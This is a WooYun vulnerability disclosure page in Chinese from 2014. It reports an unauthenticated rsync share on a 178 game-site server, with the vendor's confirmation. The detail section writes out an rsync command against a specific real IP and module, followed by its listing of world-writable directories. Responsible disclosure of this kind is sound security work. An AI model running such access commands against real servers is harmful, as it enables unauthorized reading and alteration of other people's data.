当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-070477

漏洞标题：178某站rsync未授权访问

相关厂商：178游戏网

漏洞作者： s3xy

提交时间：2014-07-31 15:55

修复时间：2014-09-14 15:58

公开时间：2014-09-14 15:58

漏洞类型：未授权访问/权限绕过

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-07-31： 细节已通知厂商并且等待厂商处理中
2014-07-31： 厂商已经确认，细节仅向厂商公开
2014-08-10： 细节向核心白帽子及相关领域专家公开
2014-08-20： 细节向普通白帽子公开
2014-08-30： 细节向实习白帽子公开
2014-09-14： 细节向公众公开

简要描述：

178某站rsync未授权访问

详细说明：

rsync 118.144.73.152::zozoka_zhangfan

drwxrwxrwx 4096 2014/01/17 05:40:17 . 
-rw-rw-rw- 379 2012/04/02 22:27:31 .htaccess 
-rw-r--r-- 2280 2012/07/04 04:51:20 1.html 
drwxrwxrwx 4096 2012/04/02 22:27:35 0 
drwxrwxrwx 4096 2012/04/20 09:28:10 1 
drwxrwxrwx 4096 2013/06/07 10:51:04 10 
drwxrwxrwx 4096 2012/08/03 00:39:27 11 
drwxrwxrwx 4096 2012/11/23 05:06:53 14 
drwxrwxrwx 4096 2013/04/28 06:17:42 190 
drwxrwxrwx 4096 2013/01/21 06:52:35 21 
drwxrwxrwx 4096 2012/12/13 06:51:51 24 
drwxrwxrwx 4096 2013/08/13 03:46:51 243 
drwxrwxrwx 4096 2013/08/27 09:54:24 249 
drwxrwxrwx 4096 2013/09/24 08:12:05 260 
drwxrwxrwx 4096 2013/11/13 07:39:41 271 
drwxrwxrwx 4096 2014/01/17 05:40:17 277 
drwxrwxrwx 4096 2013/01/18 16:21:17 89 
drwxrwxrwx 4096 2013/01/19 11:48:30 90 
drwxrwxrwx 4096 2012/04/02 13:14:53 9999 
drwxrwxrwx 4096 2012/04/24 15:09:54 99999 
drwxrwxrwx 4096 2012/04/02 05:51:57 a 
drwxrwxrwx 4096 2012/04/02 22:27:35 user

漏洞证明：

rsync 118.144.73.152::zozoka_zhangfan

修复方案：

设置权限

版权声明：转载请注明来源 s3xy@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2014-07-31 16:03

厂商回复：

谢谢！

最新状态：

暂无